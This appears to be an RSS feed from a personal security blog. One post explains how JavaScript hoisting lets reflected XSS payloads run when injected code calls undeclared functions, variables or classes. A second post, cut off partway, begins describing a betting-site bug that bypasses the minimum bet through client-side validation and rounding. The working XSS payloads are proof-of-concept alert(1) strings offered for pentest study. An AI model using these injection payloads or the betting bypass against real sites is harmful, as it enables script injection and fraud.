<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Jorge Lajara Website</title>
    <description>Personal Blog</description>
    <link>https://jlajara.gitlab.io</link>
    
      
        <item>
          <title>Javascript Hoisting in XSS Scenarios</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Javascript Hoisting in XSS Scenarios&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20220603/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When detecting a potential Cross-Site Vulnerability (XSS), sometimes the reflected parameter is injected in a script with an undeclared element. Let’s suppose that we are facing the following:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;leo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;reflection_here&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leo&lt;/code&gt; object is not defined in the source code or the javascript file that has the declaration no longer works because is hosted externally and the link is down.&lt;/p&gt;

&lt;p&gt;Is it exploitable? How can we take advantage of this scenario? Javascript Hoisting could let us achieve successful exploitation in some cases.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;tldr&quot;&gt;TL/DR&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;If you are injecting after an undefined function or variable, you can declare it again and bypass the undeclared error to achieve successful execution.&lt;/li&gt;
  &lt;li&gt;Avoid using &lt;strong&gt;let&lt;/strong&gt;/&lt;strong&gt;const&lt;/strong&gt; variable declarations, use always &lt;strong&gt;var&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;If you are injecting after a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; constructor, do not declare a &lt;strong&gt;Class&lt;/strong&gt;, declare a &lt;strong&gt;Function&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;If you are injecting after an element that is using property accessors, exploitation is not possible because properties are not hoisted.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;javascript-hoisting&quot;&gt;Javascript Hoisting&lt;/h3&gt;

&lt;p&gt;According &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Hoisting&quot;&gt;Mozilla Developer Web Docs&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables or classes to the top of their scope, prior to execution of the code.
Hoisting allows functions to be safely used in code before they are declared.
Variable and class declarations are also hoisted, so they too can be referenced before they are declared. Note that doing so can lead to unexpected errors, and is not generally recommended.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Therefore, in Javascript &lt;strong&gt;declarations of functions, variables, or classes&lt;/strong&gt; can be defined after they are used.&lt;/p&gt;

&lt;p&gt;Another thing to have in mind is that variables declared with &lt;strong&gt;let&lt;/strong&gt; and &lt;strong&gt;const&lt;/strong&gt; are also hoisted but, unlike &lt;strong&gt;var&lt;/strong&gt;, are not initialized with a default value. An exception will be thrown if a variable declared with let or const is read before it is initialized.&lt;/p&gt;

&lt;p&gt;Therefore, in an XSS scenario, we will always use &lt;em&gt;var&lt;/em&gt; when declaring a variable.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;exploitable-scenarios&quot;&gt;Exploitable scenarios&lt;/h3&gt;

&lt;p&gt;Imagine that after submitting the following request: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://server/?param=INJECTION&lt;/code&gt;, is reflected in the following way:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INJECTION&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trying to scape the content with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param='-alert(1)-'&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems to work, however, the function is not declared and the following message is observed: &lt;em&gt;ReferenceError: vulnerableFunction is not defined&lt;/em&gt;. Therefore, XSS exploitation is not possible with this payload.&lt;/p&gt;

&lt;p&gt;Let’s see some scenarios where &lt;strong&gt;Javascript Hoisting&lt;/strong&gt; can allow achieving a successful exploitation and some cases where is not exploitable (at least as far as I know).&lt;/p&gt;

&lt;h4 id=&quot;function-injection&quot;&gt;Function injection&lt;/h4&gt;

&lt;p&gt;We can declare the function after it’s called in the following way:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Or you can inject code after a declaration like this:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;vulnerableFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There is a tricky scenario that is described &lt;a href=&quot;#constructorScenario&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;variable-injection&quot;&gt;Variable injection&lt;/h4&gt;

&lt;p&gt;In the following case, the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myFunction&lt;/code&gt; is defined but the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; used later is not. We can take advantage of variable hosting to achieve a successful XSS execution.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;myFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;myFunction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=test')%3b+var+a+%3d+1%3b+alert(1)%3b&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Notice that the need for &lt;strong&gt;var&lt;/strong&gt; is important because var is initialized with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined&lt;/code&gt; and does not throw an error. However, the use of &lt;strong&gt;let&lt;/strong&gt;/&lt;strong&gt;const&lt;/strong&gt; will throw the following error &lt;em&gt;ReferenceError: can’t access lexical declaration ‘a’ before initialization”&lt;/em&gt; because the variable is initialized.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;other-scenarios&quot;&gt;Other scenarios&lt;/h3&gt;

&lt;h4 id=&quot;class-injection&quot;&gt;Class injection&lt;/h4&gt;

&lt;p&gt;In the following scenario, the class &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unexploitableClass&lt;/code&gt; is not defined. As indicated before, &lt;strong&gt;class declarations are hoisted&lt;/strong&gt;. However, they remain uninitialized until evaluation. This effectively means that you have to declare a class before you can use it.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;unexploitableClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;INJECTION&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, injecting something like this, will not work:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;unexploitableClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;unexploitableClass&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An error will appear: &lt;em&gt;referenceError: can’t access lexical declaration ‘unexploitableClass’ before initialization”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;constructorScenario&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, we can take advantage of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; operator because allows us to specify a class or &lt;strong&gt;function&lt;/strong&gt; that specifies the type of the object instance.&lt;/p&gt;

&lt;p&gt;Therefore:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;unexploitableClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;unexploitableClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Will work.&lt;/p&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=function+unexploitableClass()+{return+1%3b}%3balert(1&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;property-accessors&quot;&gt;Property accessors&lt;/h4&gt;

&lt;p&gt;Properties are &lt;strong&gt;not&lt;/strong&gt; hoisted.&lt;/p&gt;

&lt;p&gt;In the case where an object is present with a function:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;leo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INJECTION&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Exploitation is possible with expression inside parameters:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;leo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INJECTION&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=%27-alert(1));function%20test(){}//&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Same happens with:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;injection&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Payload: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=%27-alert(1)];function%20test(){}//&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This works because Javascript is following these steps:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Hoist the declaration of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt; (value hoisting)&lt;/li&gt;
  &lt;li&gt;Executes “get property &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;” (will return the value undefined)&lt;/li&gt;
  &lt;li&gt;Executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(1)&lt;/code&gt; (evaluates parameters before we even know if the object is a function)&lt;/li&gt;
  &lt;li&gt;Executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.cookie()&lt;/code&gt; and crashes as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie&lt;/code&gt; (undefined) is no function&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We do need a function declaration of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt; as we need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt; to exist to make a property access on it. However, we don’t need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie&lt;/code&gt; to exist on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt; as the parameters will be evaluated before checking if the returned value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie&lt;/code&gt; is a function or not.&lt;/p&gt;

&lt;p&gt;Thanks &lt;a href=&quot;https://twitter.com/joaxcar&quot;&gt;@joaxcar&lt;/a&gt; for pointing it out.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Hoisting&quot;&gt;MDN Web Docs - Hoisting&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript?utm_source=pocket_mylist&quot;&gt;Digitalocean - Understanding Hoisting in JavaScript&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/&quot;&gt;Johan Carlsson - Having some fun with JavaScript hoisting&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2022-06-03T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios</guid>
        </item>
      
    
      
        <item>
          <title>Betting Free, Winning More Free</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Betting Free, Winning More Free&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20220221/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In one of our engagements at &lt;a href=&quot;https://www.bulletproofsi.com/&quot;&gt;Bulletproof&lt;/a&gt; we discovered in a betting platform an interesting business logic vulnerability that allowed us to place bets without providing actual money and with a small profit lost. This bug could be repeated continuously to make this small account bigger and would allow a third-party actor to generate infinite money for free.&lt;/p&gt;

&lt;p&gt;The bug consisted on 2 security misconfiguration chained together:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Client-side validation&lt;/li&gt;
  &lt;li&gt;Rounding algorithm&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploitation-process&quot;&gt;Exploitation Process&lt;/h2&gt;

&lt;h3 id=&quot;client--side-validation&quot;&gt;Client- Side Validation&lt;/h3&gt;

&lt;p&gt;When auditing a betting platform, the betting functionallity is the core of the business and the place where the impact could be bigger. When playing with the functionallity one step caught our attention. After trying to place a &lt;em&gt;very small&lt;/em&gt; amount of money (&lt;em&gt;0.001€&lt;/em&gt;) the server replied with the following error at the client-side:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Minimum bet is 0.10€&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Perfect, normal behaviour. Intercepting the request with burp we can further analyze the HTTP request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...

&quot;deposits&quot; : {
    &quot;single&quot; : [0.1]
}
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the response, we can observe the value &lt;em&gt;Gain&lt;/em&gt; that is generated by multiplying the betting quantity * betting odds. In this case 0.10€ * 1.28 = 0.128€.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
